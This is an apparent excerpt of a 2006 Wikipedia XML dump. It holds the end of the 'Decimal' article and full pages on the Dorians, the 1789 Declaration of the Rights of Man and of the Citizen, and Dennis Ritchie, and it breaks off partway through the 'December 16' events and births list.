       &lt;u&gt; 1 4 &lt;/u&gt;                      20/7 = 2 r 6
          6 0
         &lt;u&gt; 5 6 &lt;/u&gt;                    60/7 = 8 r 4
            4 0
           &lt;u&gt; 3 5 &lt;/u&gt;                  40/7 = 5 r 5
              5 0
             &lt;u&gt; 4 9 &lt;/u&gt;                50/7 = 7 r 1
                1 0
               &lt;u&gt;   7 &lt;/u&gt;              10/7 = 1 r 3
                  3 0
                 &lt;u&gt; 2 8 &lt;/u&gt;            30/7 = 4 r 2  (again)
                    2 0
                         etc

The converse to this observation is that every [[recurring decimal]] represents a rational number ''p''/''q''.  This is a consequence of the fact the recurring part of a decimal representation is, in fact, an infinite [[geometric series]] which will sum to a rational number.  For instance,
:&lt;math&gt;0.0123123123\cdots = \frac{123}{10000} \sum_{k=0}^\infty 0.001^k = \frac{123}{10000}\ \frac{1}{1-0.001} = \frac{123}{9990} = \frac{41}{3330}&lt;/math&gt;

=== Real numbers ===

Every [[real number]] has a (possibly infinite) decimal representation, i.e., it can be written as

:&lt;math&gt; x = \mathop{\rm sign}(x) \sum_{i\in\mathbb Z} a_i\,10^i&lt;/math&gt;

where
* sign() is the [[sign function]],
* ''a&lt;sub&gt;i&lt;/sub&gt;'' &amp;isin; { 0,1,…,9 } for all ''i'' &amp;isin; '''Z''', are its '''decimal digits''', equal to zero for all ''i'' greater than some number (the [[common logarithm]] of |x|).

Such a sum converges, even if there is an infinite number of ''a&lt;sub&gt;i&lt;/sub&gt;'' (with negative indices), which is the case for all reals which are not decimal numbers, according to what precedes.
&lt;!-- OK enough for today .. but this is messy here 'a real which is not a decimal number' is very odd .. reals don't have a base (I hope), so can neither be decimal nor non-decimal --&gt;

The representation is unique, if one excludes representations that end in a recurring 9.

Indeed, consider those [[rational number]]s that can be written as p/(2&lt;sup&gt;a&lt;/sup&gt;5&lt;sup&gt;b&lt;/sup&gt;) (i.e. the only [[prime factor]]s in denominator are 2 and 5). In this case there is a terminating decimal representation.  For instance 1/1=1, &amp;minus;1/2=&amp;minus;0.5, 3/5=0.6, 3/25=0.12 and 1306/1250=1.0448.  Such numbers are the only real numbers which don't have a unique decimal representation, as they can also be written as a representation that has a recurring 9, for instance 1=0.99999…, &amp;minus;1/2=&amp;minus;0.499999…, etc.

Rational numbers p/q with prime factors in the denominator other than 2 and 5 (when reduced to simplest terms) have a unique [[recurring decimal]] representation.  

This leaves the [[irrational number]]s.  They also have unique infinite decimal representation, and can be characterised as the numbers whose decimal representations neither terminate nor recur.

Naturally, the same [[trichotomy]] holds for other base-n [[Positional notation|positional numeral system]]s:
* Terminating representation: rational where the denominator divides some n&lt;sup&gt;k&lt;/sup&gt;
* Recurring representation: other rational
* Non-terminating, non-recurring representation: irrational
and a version of this even holds for irrational-base numeration systems, such as [[golden mean base]] representation.

==History==
===Decimal writers===
* ''c.'' 3500 - 2500 BC [[Elamite Empire|Elamites]] of [[Iran]] possibly use early forms of decimal system. [http://www.chn.ir/english/eshownews.asp?no=1622] [http://www.mpiwg-berlin.mpg.de/Preprints/P183.PDF]
* ''c.'' 2900 BC [[Egypt]]ian hieroglyphs show counting in powers of 10 (1 million + 400,000 goats, ''etc.'').
* ''c.'' 2600 BC [[Indus Valley Civilization]], earliest known physical use of decimal [[fractions]] in ancient weight system:  1/20, 1/10, 1/5, 1/2.  See [[Ancient Indus Valley weights and measures]].
* ''c.'' 1400 BC [[History of China|Chinese]] writers show familiarity with the concept: for example, 547 is written 'Five hundred plus four decades plus seven of days' in some manuscripts. 
* ''c.'' 1200 BC In [[ancient India]], the [[Vedic]] text ''[[Yajur-Veda]]'' states the [[Exponentiation|powers]] of 10, upto 10&lt;sup&gt;55&lt;/sup&gt;.
* ''c.'' 450 BC [[Pāṇini|Panini]] &amp;ndash; uses the null operator in his grammar of [[Sanskrit]].
* ''c.'' 400 BC [[Pingala]] &amp;ndash; develops the binary number system for Sanskrit prosody, with a clear mapping to the base-10 decimal system.
* ''c.'' 100&amp;ndash;200 The ''[[Indian mathematics#Satkhandagama (100-200 CE)|Satkhandagama]]'' written in [[India]] &amp;ndash; earliest use of decimal logarithms.
* ''c.'' 476&amp;ndash;550 [[Aryabhata]] &amp;ndash; uses an alphabetic cipher system for numbers that used zero.
* ''c.'' 598&amp;ndash;670 [[Brahmagupta]] &amp;ndash; explains the [[Hindu-Arabic numerals]] (modern number system) which uses decimal [[integer]]s, [[negative]] integers, and [[0 (number)|zero]].
* ''c.'' 790&amp;ndash;840 [[al-Khwarizmi|Abu Abdullah Muhammad bin Musa al-Khwarizmi]] &amp;ndash; first to expound on [[algorism]] outside [[India]].
* ''c.'' 920&amp;ndash;980 [[Al-Uqlidisi|Abu'l Hasan Ahmad ibn Ibrahim Al-Uqlidisi]] &amp;ndash; earliest known direct mathematical treatment of decimal fractions.
* ''c.'' 1300&amp;ndash;1500 The [[Kerala School]] in [[South India]] &amp;ndash; decimal [[floating point]] numbers.
* [[1548]]/[[1549|49]]&amp;ndash;[[1620]] [[Simon_Stevin#Decimal_fractions|Simon Stevin]] &amp;ndash; author of ''De Thiende'' ('the tenth').
*[[1561]]&amp;ndash;[[1613]] [[Bartholemaeus Pitiscus]]&amp;ndash; (possibly) decimal point notation.
* [[1550]]&amp;ndash;[[1617]] [[John Napier]]&amp;ndash; use of decimal logarithms as a computational tool

==See also==
* [[Algorism]]
* [[Decimal point]]
* [[Decimal representation]]
* [[Decimal sequences for cryptography]]
* [[Numeral system]]
* [[Binary-coded decimal]]
* [[Dewey Decimal System]]
* [[10 (number)]]

== External links ==
* [http://www2.hursley.ibm.com/decimal/decifaq.html Decimal arithmetic FAQ]
* Tests: [http://www.kwiznet.com/p/takeQuiz.php?ChapterID=1352 Decimal Place Value] [http://www.kwiznet.com/p/takeQuiz.php?ChapterID=1353&amp;CurriculumID=5 Sums] [http://www.kwiznet.com/p/takeQuiz.php?ChapterID=739&amp;CurriculumID=5  Fractions]
* [http://www.mathsisfun.com/worksheets/decimals.php Practice Decimal Arithmetic with Printable Worksheets]
* [http://www.mathsisfun.com/converting-decimals-fractions.html Converting Decimals to Fractions]

[[Category:Elementary arithmetic]]
[[Category:Fractions]]
[[Category:Positional numeral systems| 10]]

[[be:Дзесятковая сыстэма зьлічэньня]]
[[de:Dezimalsystem]]
[[es:Sistema decimal]]
[[eo:Dekuma sistemo]]
[[fr:Nombre décimal]]
[[ko:십진법]]
[[it:Sistema numerico decimale]]
[[he:השיטה העשרונית]]
[[nl:Decimaal]]
[[ja:十進記数法]]
[[no:Titallsystemet]]
[[pl:Dziesiętny system liczbowy]]
[[pt:Sistema decimal]]
[[ru:Десятичная система счисления]]
[[sl:Desetiški številski sistem]]
[[fi:Kymmenjärjestelmä]]
[[sv:Decimala talsystemet]]
[[th:เลขฐานสิบ]]
[[uk:Десяткова система числення]]
[[zh:十进制]]</text>
    </revision>
  </page>
  <page>
    <title>Dorian</title>
    <id>8216</id>
    <revision>
      <id>42097505</id>
      <timestamp>2006-03-03T20:35:33Z</timestamp>
      <contributor>
        <username>Meersan</username>
        <id>323668</id>
      </contributor>
      <minor />
      <comment>/* Mythic origins */  removed offtopic sentence see talk page</comment>
      <text xml:space="preserve">:''For the '''Dorian''' [[musical mode|mode]] in music, see [[Dorian mode]].''

The '''Dorians''' were one of the ancient [[Hellenic]] tribes acknowledged by Greek writers. Traditional accounts place their origins in the north, north-eastern regions of Greece, ancient [[Macedonia (region)|Macedonia]] and [[Epirus]], whence obscure circumstances drove them south into [[Attica]] and the [[Peloponnesos]], to certain [[Aegean_Sea|Aegean]] islands, and to the coast of [[Asia Minor]]. Late mythology gave them an [[Eponym|eponymous]] founder, a certain &quot;[[Dorus]]&quot;, son of &quot;[[Hellen]]&quot;, the [[mythological]] [[patriarch]] of the [[Hellenes]].

Beginning about 1150 BC, the Dorians invaded the Greek mainland, the [[Peloponnessus]], [[Crete]] and other places throughout the Mediterranean, disrupting the [[Bronze Age]] Mycenaean civilization. Peloponnesian cities that the Dorians invaded include [[Corinth]], [[Olympia, Greece|Olympia]], [[Sparta]] and [[Mycenae]]. Many archaeologists attribute the destruction of Mycenae, a pivotal Mycenaean city, to these invading Dorians.

Though most of the Doric invaders settled in the Peloponesse, they also settled on [[Rhodes]] and in Asia Minor, where in later times the Dorian Hexapolis (the six Dorian cities) would arise: [[Halicarnassus]], [[Kos|Cos]], [[Cnidos]] (Asia Minor); [[Lindos]],  [[Kameiros]] (Camiros), and [[Ialyssos]] (in Rhodes). These six cities would later become rivals with the [[Ionia]]n cities of Asia Minor. The Dorians also invaded [[Crete]]. These origin traditions remained strong into classical times: [[Thucydides]] saw the[[ Peloponnesian War]] in part as &quot;Ionians fighting against Dorians&quot; and reported the tradition that the [[Syracuse, Italy|Syracusans]] in Sicily were of Dorian descent ([http://classicpersuasion.org/pw/thucydides/thucydides-passages.php?pleaseget=7.56-6 Thucydides, 7.57]). Other such &quot;Dorian&quot; colonies, originally from Corinth, Megara, and the Dorian islands, dotted the southern coasts of Sicily from Syracuse to Selinus. Culturally, in addition to their Doric dialect of Greek, these colonies retained their characteristic [[Hellenic calendar|Doric calendar]] revolving round a cycle of festivals of which the ''Hyacinthia'' and the [[Carneia]] were especially important (''EB'' 1911).

The [[Dorian invasion]] was partly responsible for the subsequent [[Greek Dark Ages]]. The written record is nonexistent; the Dorian migration is documented in the mute archaeological record: widespread burning and destruction of Bronze Age sites both in Crete and the mainland of Greece, many of which were reduced to villages or abandoned, and the introduction of iron-working ended the Bronze Age in the Aegean.

==The Dorian invasion==
The '''[[Dorian]] invasion''', more often called the '''Dorian migration''' in modern texts, is co-related with ash layers at Mycenaean sites and changes in burial practices, from Mycenaean group burials in [[tholos tomb]]s to individual burials and the burning of the corpse, previously unknown. Considered as an invasion, the advent of the Dorians is generally advanced to explain the swift collapse of [[Mycenaean]] civilization in ancient mainland [[Greece]].  Concurrent effects are the disruption of long-distance trade and possibilities of civil war and natural disaster, as well as the colonisation of islands in the Aegean sea and the west coast of Asia Minor.

==Mythic origins==
According to a myth based on an [[etymology|etymological fantasy]], the Dorians  were named for the minor district of Doris in northern Greece. Their leaders were mythologized as the [[Heracleidae]], the sons of the legendary hero [[Heracles]], and the Dorian incursion into Greece in the distant past was justified in the mythic theme of the &quot;''Return'' of the Heracleidae&quot;.  The most famous of Dorian groups were the [[Sparta|Spartans]], whose austere and martial lifestyle was much admired and feared.

==Doric dialect==  
{{main|Doric Greek}}
The Doric dialect was spoken along the coast of the [[Peloponnese]], in [[Crete]] and southwest [[Asia Minor]]. A close relationship between Doric, [[North-Western Greek]] and [[Ancient Macedonian language|ancient Macedonian]] has been postulated. In later periods other dialects predominated, most notably the [[Attic Greek|Attic]], upon which the [[Koine Greek|Koine]] or common Greek language of the [[Hellenistic]] period was based. The main characteristic of Doric was the preservation of indoeuropean /a/(&amp;#945;) where Attic had /e/(&amp;#951;).

==See also==
The [[Doric order|Doric column]] in architecture and a [[Dorian mode]] in music (see also [[guitar]] [[chord (music)|chord]] roots). The column was noted for its simplicity and strength, the music for its martial qualities.
The Doric column is still widely used today, particularly in government buildings and other large edifices. See the [[Doric order]].

*[[Greek Dark Ages]] 
*[[Sparta]]

== Bibliography ==
*''Die Dorier'' (''The Dorians''), [[Karl Otfried Müller]] (1824).
*''The History and Antiquities of the Doric Race'', Karl Otfried Müller, Eng. trans., Oxford, 1830. 2 vols. 
*''The End of the Bronze Age:  Changes in Warfare and the Catastrophe CA. 1200 B.C.'', Robert Drews, Princeton University Press, Princeton, New Jersey, 1993.

== External links ==
*[http://www.m-w.com/cgi-bin/dictionary?book=Dictionary&amp;va=dorians&amp;x=19&amp;y=18 Meriam-Webster Online Dictionary]
*http://emuseum.mnsu.edu/prehistory/aegean/theculturesofgreece/dorians.html
*[http://emuseum.mnsu.edu/prehistory/aegean/theculturesofgreece/dorians.html Dorian invasion, also showing Ionian and Aeolian]
*[http://encyclopedia.jrank.org/DIO_DRO/DORIANS.html ''Encyclopaedia Britannica'' 1911:] &quot;Dorians&quot;


[[Category:History of Greece]]
[[Category:Ancient Greece]]
[[Category:Crete]]

[[de:Dorier]]
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[[fi:Doorilaiset]]</text>
    </revision>
  </page>
  <page>
    <title>Declaration of the Rights of Man and of the Citizen</title>
    <id>8217</id>
    <revision>
      <id>41774761</id>
      <timestamp>2006-03-01T17:35:13Z</timestamp>
      <contributor>
        <username>Lapaz</username>
        <id>773344</id>
      </contributor>
      <text xml:space="preserve">[[Image:Declaration of Human Rights.jpg|thumb|Declaration of the Rights of Man and of the Citizen: Revolutionary patriotism borrows familiar iconography of the [[Ten Commandments]]]]
{{wikisource}}
'''The Declaration of the Rights of Man and of the Citizen''' ([[French language|French]]: ''La Déclaration des droits de l'Homme et du citoyen'') is one of the fundamental documents of the [[French Revolution]], defining a set of individual rights and collective rights of the people. Influenced by the [[natural right]]s, these rights are [[universality (philosophy)|universal]] - they are supposed to be valid in all times and places, pertaining to the [[human nature]] itself. The Declaration was adopted [[August 26]], [[1789]], by the [[National Constituent Assembly]] (''Assemblée nationale constituante''), as the first step toward writing a [[constitution]]. It sets forth fundamental rights not only of French citizens but acknowledges these rights to ''all men without exception'', making it a precursor to [[international human rights instruments]]:

: &quot;First Article &amp;ndash; Men are born and remain free and equal in rights. Social distinctions can be founded only on the common utility.&quot;

The principles set forth in the declaration are of constitutional value in present-day French law and may be used to oppose legislation or other government activities.

==Adoption of the declaration==
The declaration was drafted by the [[Marquis de Lafayette]] and was adopted by the National Assembly, it was intended as part of a transition from an [[absolute monarchy|absolute]] to a [[constitutional monarchy]]. Many of the principles laid down in the declaration directly oppose the institutions and usages of the ''[[ancien régime]]'' of pre-revolutionary France. In the event, [[France]] soon became a [[Republic]], but this document remained fundamental.

The principles set forth in the declaration come from the philosophical and political principles of the [[Age of Enlightenment]], such as [[individualism]], the [[social contract]] as theorised by [[Jean-Jacques Rousseau]], and the [[separation of powers]] espoused by the [[Charles de Secondat, Baron de Montesquieu|baron de Montesquieu]]. As can be seen in the texts, the French declaration is a copy of the declaration of Human Rights contained in the [[U.S. Declaration of Independence]] ([[4 July]] [[1776]])
and the [[Virginia Declaration of Rights]] developed by [[George Mason]] in June 1776, which was itself based on the [[Bill of Rights 1689|English 1689 Bill of Rights]].

==Substance of the declaration==
This statement of principles contained the kernel of a much more radical re-ordering of society than had yet taken place. A mere six weeks after the [[storming of the Bastille]] and barely three weeks after the [[French Revolution from the abolition of feudalism to the Civil Constitution of the Clergy#The abolition of feudalism|abolition of feudalism]], the Declaration put forward a doctrine of [[popular sovereignty]] and [[equal opportunity]]:

: &quot;Article III &amp;ndash; The principle of any [[sovereignty]] resides essentially in the Nation. No body, no individual can exert authority which does not emanate expressly from it.&quot;

This contrasts with the pre-revolutionary situation in France, where the political doctrine of the monarchy found the source of law in the [[divine right of kings]].

: (From Article VI) &amp;ndash; &quot;All the citizens, being equal in [the eyes of the law], are equally admissible to all public dignities, places, and employments, according to their capacity and without distinction other than that of their virtues and of their talents.&quot;

Again, this strikingly contrasts with the pre-revolutionary division of French society in three [[Estates-General of 1789|estate]]s (the [[Roman Catholic church]], the [[nobility]], and the rest of the population, known as the [[Third Estate]]), where the first two estates had special rights. Specifically, it contradicts the idea of people being ''born'' into a nobility or other special class of the population, and enjoying (or being deprived of) special rights for this reason.

All citizens are to be guaranteed the rights of &quot;liberty, property, security, and resistance to oppression&quot;. The Declaration argues that the need for law derives from the fact that &quot;...the exercise of the natural rights of each man has only those borders which assure other members of the society the enjoyment of these same rights&quot;. Thus, the declaration sees law as an &quot;expression of the [[general will]]&quot;, intended to promote this equality of rights and to forbid &quot;only actions harmful to the society&quot;.

The Declaration also put forward several provisions similar to those in the [[United States Constitution]] (1787) and the [[United States Bill of Rights]] (1789, adopted at approximately the same time as the Declaration). Like the U.S. Constitution, it discusses the need to provide for the common defense and states some broad principles of taxation, especially equality before taxation (a striking difference from the pre-revolutionary era, when the Church and the nobility were exempted from most taxes). It also specifies a public right to an [[accountability|accounting]] from public agents as to how they have discharged the public trust.

The declaration prohibits ''[[ex post facto]]'' application of criminal law and proclaims the [[presumption of innocence]], prohibiting undue duress to the suspect. In pre-revolutionary France, while technically one was only considered guilty after having been sentenced by the appropriate authorities, the royal courts, known as ''[[parlement]]s'', made ample use of [[torture]] to extract confessions, and gave few rights to the defense &amp;mdash; so effectively one ran very heavy risks of being sentenced if one was suspected.

It provides for [[freedom of speech]] and [[freedom of the press|of the press]], and a slightly weaker guarantee of [[freedom of religion]] &amp;mdash; &quot;provided that [...the] manifestation [...of their religious opinions] does not trouble the public order established by the law&quot;. It asserts the rights of property, while reserving a public right of [[eminent domain]]:

:&quot;Article XVII - Property being an inviolable and sacred right, no one can be deprived of private usage, if it is not when the public necessity, legally noted, evidently requires it, and under the condition of a just and prior indemnity [i.e., compensation].&quot;

The Declaration is largely [[individualistic]], not addressing [[freedom of assembly]], [[liberty of association]], or the [[right to strike]]. These principles did acquire a [[constitutional]] value, from the provisions of the Constitution of the [[French Fourth Republic]].

==Women's rights==
The Declaration, as originally understood, recognized most rights only as belonging to [[male]]s. As early as 1791, this was protested by [[Olympe de Gouges]] in her [[Declaration of the Rights of Woman and the Female Citizen]]. As interpreted by French courts today, women are included in these rights.

==Effect today==
According to the [[preamble]] of the [[Constitution of the French Fifth Republic]] (adopted on [[October 4]] [[1958]], and the current constitution [[as of 2005]]), the principles set forth in the Declaration have constitutional value. Many laws and regulations have been cancelled because they did not comply with those principles as interpreted by the [[Constitutional Council of France]] or the ''[[Conseil d'État]]'' (&quot;Council of State&quot;).

Many of the principles in the 1789 declaration have far-reaching implications nowadays:
* Taxation legislation or practices that seem to make some unwarranted difference between citizens are struck down as anticonstitutional.
* Suggestions of [[positive discrimination]] on ethnic grounds are rejected because they infringe on the principle of equality, since they would establish categories of people that would, by birth, enjoy greater rights. 

The declaration has also influenced and inspired to [[right]]s-based [[liberal democracy]] throughout the world.

==See also==
* [[Politics of France]]
* [[Universality (philosophy)|Universality]] (these rights are universal, i.e. valid in all times &amp; places - or claim to be)

===Compare to other countries' bills of rights===
* '''England''': The [[Bill_of_Rights_1689|Bill of Rights of 1689]], on which the U.S. Bill of Rights was partly based.
* '''Scotland''': The [[Claim of Right]], similar in chronology and origin to the English Bill.
* '''United States''': the [[United States Bill of Rights]] (1789)
* '''United Nations''': [[Universal Declaration of Human Rights]] (1948)
* '''Europe''': [[European Convention on Human Rights]] (1950), [[Charter of Fundamental Rights of the European Union]] (2000)    
* '''Canada''': [[Canadian Charter of Rights and Freedoms]] (1982).

==External links==
*{{en icon}} [http://www.hrcr.org/docs/frenchdec.html The declaration of the Rights of Man and of the Citizen] - in English
*{{fr icon}} [http://www.conseil-constitutionnel.fr/textes/d1789.htm The declaration of the Rights of Man and of the Citizen] - in French


[[Category:French Revolution]]
[[Category:French law]]
[[Category:Human rights]]
[[Category:1789 in law]]
[[Category:Government of France]]

[[ast:Declaración de los Derechos del Home y del Ciudadanu]]
[[da:Erklæringen om menneskets og borgerens rettigheder]]
[[de:Erklärung der Menschen- und Bürgerrechte]]
[[es:Declaración de los Derechos del Hombre y del Ciudadano]]
[[eo:Deklaro de la rajtoj de homo kaj civitano]]
[[fr:Déclaration des Droits de l'Homme et du Citoyen de 1789]]
[[id:Deklarasi Hak Asasi Manusia]]
[[it:Dichiarazione dei diritti dell'uomo e del cittadino]]
[[he:הצהרת זכויות האדם]]
[[hu:Emberi és polgári jogok nyilatkozata]]
[[ja:人間と市民の権利の宣言]]
[[no:Erklæringen om menneskets og borgerens rettigheter]]
[[pl:Deklaracja Praw Człowieka i Obywatela]]
[[pt:Declaração dos Direitos do Homem e do Cidadão]]
[[uk:Декларація прав людини і громадянина]]
[[zh:人权和公民权宣言]]</text>
    </revision>
  </page>
  <page>
    <title>Dennis Ritchie</title>
    <id>8218</id>
    <revision>
      <id>38421444</id>
      <timestamp>2006-02-06T05:14:21Z</timestamp>
      <contributor>
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        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: fi</comment>
      <text xml:space="preserve">[[Image:Ken n dennis.jpg|frame|[[Ken Thompson]] (left) with Dennis Ritchie (right)]]

'''Dennis MacAlistair Ritchie''' (born [[September 9]], [[1941]]) is a [[computer science|computer scientist]] notable for his influence on [[ALTRAN]], [[B programming language|B]], [[BCPL]], [[C programming language|C]], [[Multics]], and [[Unix]].

Born in [[Bronxville, New York|Bronxville]], [[New York]], Ritchie graduated from [[Harvard]] with [[academic degree|degree]]s in [[physics]] and [[applied mathematics]]. In [[1967]], he began working at the [[Bell Labs|Bell Labs' Computing Sciences Research Center]]; he is currently the head of [[Lucent Technologies|Lucent Technologies' System Software Research Department]]. In [[1983]], he and [[Ken Thompson]] jointly received the [[Turing award]] &quot;for their development of generic [[operating system]]s theory and specifically for the implementation of the [[Unix|UNIX]] operating system.&quot;

==C and Unix==

When asked what influenced him in developing C in the manner he did, Ritchie has been [[quotation | quoted]] to have said that it &quot;looked like a good thing to do&quot;, and that anyone else in the same place at the same time would have done the same thing. Many, however, have said that this is part of Ritchie's modest personality.  One of his Bell Labs colleagues, [[Bjarne Stroustrup]], who developed and designed the [[C++]] programming language, an object oriented version of C, has been quoted to have said that &quot;If Dennis had decided to spend that decade on esoteric math, Unix would have been stillborn&quot;. Indeed, being the inventor of the C programming language, as well as co-inventor of the [[Unix]] operating system alongside [[Ken Thompson]], Ritchie has earned an important position in the history of the computer industry. C is still widely used today in application and [[operating system]] development and its influence can be seen in many more recent programming languages such as [[C++]], [[C Sharp|C#]], [[Objective-C]], [[Java programming language|Java]], and [[JavaScript]].  In the operating system world, [[Unix]] is also quite influential;  there are many dialects of it available on the market today, such as [[AIX operating system|AIX]], [[Solaris Operating Environment|Solaris]], [[Mac OS X]], [[Berkeley Software Distribution | BSD]], and similar systems like [[Minix]], as well as the popular [[Linux]] operating system. Indeed, even [[Microsoft]], whose [[Microsoft Windows|Windows]] operating systems compete with Unix, has developed Unix compatibility tools and C compilers for users and developers of their products.

Dennis has also contributed to the two official successors of Unix and C: the [[Plan 9 (operating system)|Plan 9]] operating system and the [[Limbo programming language]], both of which build upon his previous work.

==Nicknames==
Dennis Ritchie is often referred to as &quot;'''DMR'''&quot; in various [[Usenet]] [[newsgroup]]s (such as comp.lang.c); he is the &quot;'''R'''&quot; of the [[The C Programming Language (book)|''K&amp;R'']].

==Writings by Ritchie==
*''[[The C Programming Language (book)|The C Programming Language]]'' ([[1978]] with [[Brian Kernighan]] see [[K&amp;R]])
*''[[Unix Programmer's Manual]]'' ([[1971]])

==Quotes==

''&quot;I am not now, nor have I ever been, a member of the demigodic party.&quot;''&lt;br&gt;

==External links==
* [http://www.cs.bell-labs.com/who/dmr/ Dennis Ritchie's home page]
* [http://Unix.se/article/articleview/950/1/24 Unix.se DMR interview published February 7. 2003]
* [http://www.bell-labs.com/news/1999/april/28/1.html  Ritchie and Thompson Receive National Medal of Technology from President Clinton]
* [http://www.itworld.com/Comp/3380/lw-12-ritchie/ ''The future according to Dennis Ritchie'' - LinuxWorld.com 12/4/00]


[[Category:1941 births|Ritchie, Dennis]]
[[Category:Living people|Ritchie, Dennis]]
[[Category:Computer pioneers|Ritchie, Dennis]]
[[Category:American computer scientists|Ritchie, Dennis]]
[[Category:American technology writers|Ritchie, Dennis]]
[[Category:Turing Award laureates|Ritchie, Dennis]]
[[Category:Unix people|Ritchie, Dennis]]
[[Category:C programming language|Ritchie, Dennis]]
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[[eo:Dennis RITCHIE]]
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[[ko:데니스 리치]]
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    </revision>
  </page>
  <page>
    <title>December 16</title>
    <id>8219</id>
    <revision>
      <id>41668303</id>
      <timestamp>2006-02-28T23:19:02Z</timestamp>
      <contributor>
        <ip>141.44.21.61</ip>
      </contributor>
      <comment>/* Births */</comment>
      <text xml:space="preserve">'''December 16''' is the 350th day of the year (351st in [[leap year]]s) in the [[Gregorian Calendar]]. There are 15 days remaining.

{{DecemberCalendar}}

==Events==
*[[1392]] - [[History of Japan]]: [[Nanboku-cho]] - [[Emperor Go-Kameyama]] abdicates in favor of rival claimant [[Emperor Go-Komatsu|Go-Komatsu]].
*[[1598]] - [[Seven Year War]]: [[Battle of Noryang Point]] - Admiral [[Yi Sun Sin]]'s outnumbered [[Korea]]n navy ambushes and defeats [[Toyotomi Hideyoshi]]'s [[Japan]]ese fleet.
*[[1653]] - [[English Interregnum]]: [[The Protectorate]] - [[Oliver Cromwell]] becomes [[Lord Protector]] of the [[Commonwealth of England]], [[Scotland]] and [[Ireland]].
*[[1689]] - [[Convention Parliament]]: The ''Declaration of Right'' is embodied in the ''[[Bill of Rights 1689|Bill of Rights]]''.
*[[1773]] - [[American Revolution]]: [[Boston Tea Party]] - Members of the [[Sons of Liberty]] disguised as [[Mohawks]] dump crates of tea into [[Boston]] harbor as a protest against the [[Tea Act]].
*[[1811]] - The first two in a series of severe [[earthquakes]] occurs, in the vicinity of [[New Madrid fault zone|New Madrid, Missouri]].
*[[1838]] - [[Battle of Blood River]]: [[Voortrekkers]] led by [[Andries Pretorius]] combat [[Zulu]] [[impi]]s, led by Dambuza (Nzobo) and [[Ndlela kaSompisi]] in what is today [[KwaZulu-Natal]], [[South Africa]].
*[[1850]] - [[History of New Zealand]]: The ''[[Charlotte-Jane]]'' and the ''[[Randolph]]'' bring the first of the [[Canterbury Pilgrims]] to [[Lyttelton, New Zealand|Lyttelton]].
*[[1864]] - [[American Civil War]]: [[Franklin-Nashville Campaign]] - [[Battle of Nashville]] - Major General [[George H. Thomas]]'s [[Union (American Civil War)|Union]] forces defeat Lieutenant General [[John Bell Hood]]'s [[Confederate Army of Tennessee]].
*[[1910]] - During a ground test of his [[Coandă-1910]] plane, [[Henri Coandă]], caught unaware by the power of the engine, finds himself briefly airborne and loses control of the machine which crashes to the ground.
*[[1922]] - [[President of Poland]] [[Gabriel Narutowicz]] is assassinated by [[Eligiusz Niewiadomski]] at the Zachęta Gallery in [[Warsaw]].
*[[1925]] - A regular broadcasting service was instituted in [[Ceylon]].
*[[1941]] - [[World War II]]: Japanese occupies [[Miri]],[[Sarawak]]
*[[1942]] - [[Holocaust]]: [[Porajmos]] - [[Heinrich Himmler]] orders that [[Roma]] candidates for extermination should be deported to [[Auschwitz]].
*[[1944]] - [[World War II]]: [[Battle of the Bulge]] - [[General]] [[Dwight D. Eisenhower]]'s allied forces and [[Field Marshall]] [[Gerd von Rundstedt]]'s [[Nazi Germany|German]] army engage in the Belgian [[Ardennes]]. 
*[[1946]] - [[Léon Blum]] becomes [[Prime Minister of France]].
*[[1957]] - [[Sir Feroz Khan Noon]] replaces [[Ibrahim Ismail Chundrigar]] as [[Prime Minister of Pakistan]]. 
*[[1960]] - [[1960 New York air disaster]]: While approaching New York's [[Idlewild Airport]], a [[United Airlines]] [[Douglas DC-8]] collides with a [[TWA]] [[Lockheed Super Constellation]] in a blinding [[snowstorm]] over [[Staten Island]], killing 134.
*[[1971]] - [[Liberation War of Bangladesh]] &amp; [[Indo-Pakistani War of 1971]]: The surrender of the [[Pakistan army]] simultaneously brings an end to both conflicts.
*[[1985]] - [[Mafia]]: In [[New York City]], [[Paul Castellano]] and [[Thomas Bilotti]] are shot dead on the orders of [[John Gotti]], who assumes leadership of the [[Gambino family]].
*[[1989]] - [[Romanian Revolution]]: Protest breaks out in [[Timişoara]] in response to an attempt by the government to evict dissident [[Hungary|Hungarian]] pastor, [[László Tőkés]].
*[[1991]] - [[United Nations General Assembly]]: [[UN General Assembly Resolution 4686]] revokes [[UN General Assembly Resolution 3379]] after Israel makes revocation of resolution 3379 a condition of its participation in the [[Madrid Peace Conference of 1991]].
*[[1997]] - [[Typhoon Paka]] makes landfall on the island of [[Guam]] with 150 [[miles per hour|mph]] winds.
*  1997   - The [[Pokémon]] episode ''[[Electric Soldier Porygon]]'' triggers attacks of [[photosensitive epilepsy]] in hundreds of [[Japan]]ese children.
*[[1998]] - [[Iraq disarmament crisis]]: [[Operation Desert Fox]] - The [[United States]] and [[United Kingdom]] bomb targets in [[Iraq]].
*[[2005]] - The last scheduled edition of US radio program ''[[The Howard Stern Show]]'' is broadcast on terrestrial radio.
*[[2005]] - [[Appalachian State University]] wins [[NCAA Division I-AA National Football Championship]] over [[University of Northern Iowa]].

==Births==
*[[1485]] - [[Catherine of Aragon]], Queen of England (d. [[1536]])
*[[1584]] - [[John Selden]], English jurist and oriental scholar (d. [[1654]])
*[[1614]] - [[Eberhard III, Duke of Württemberg]] (d. [[1674]])
*[[1714]] - [[George Whitefield]], British-born Methodist leader (d. [[1770]])
*[[1716]] - [[Louis-Jules Mancini-Mazarini, Duc de Nivernais]], French diplomat and writer (d. [[1798]])
*[[1717]] - [[Elizabeth Carter]], British writer (d. [[1806]])
*[[1742]] - [[Gebhard Furst Blucher von Wahlstatt|Gebhard Fürst Blücher von Wahlstatt]], German Field Marshal (d. [[1819]])
*[[1770]] - [[Ludwig van Beethoven]], German composer (d. [[1827]])
*[[1775]] - [[Jane Austen]], British writer (d. [[1817]])
*  1775   - [[François-Adrien Boieldieu]], French composer (d. [[1834]])
*[[1776]] - [[Johann Wilhelm Ritter]], German physicist (d. [[1810]])
*[[1790]] - King [[Léopold I of Belgium]] (d. [[1865]])
*[[1834]] - [[Léon Walras]], French economist (d. [[1910]])
*[[1861]] - [[Antonio de La Gandara]], French painter  (d.  [[1917]])
*[[1863]] - [[George Santayana]], Spanish philosopher and writer (d. [[1952]])
*[[1865]] - [[Olavo Bilac]], Brazilian poet (d. [[1918]])
*[[1866]] ([[Gregorian calendar|N.S.]]) - [[Wassily Kandinsky]], Russian-born French abstract painter (d. [[1944]])
*[[1869]] - [[ Hristo Tatarchev]] - [[Bulgarian]] revolutionary and leader of the revolutionary movement in [[Macedonia]] and [[Eastern Thrace]]
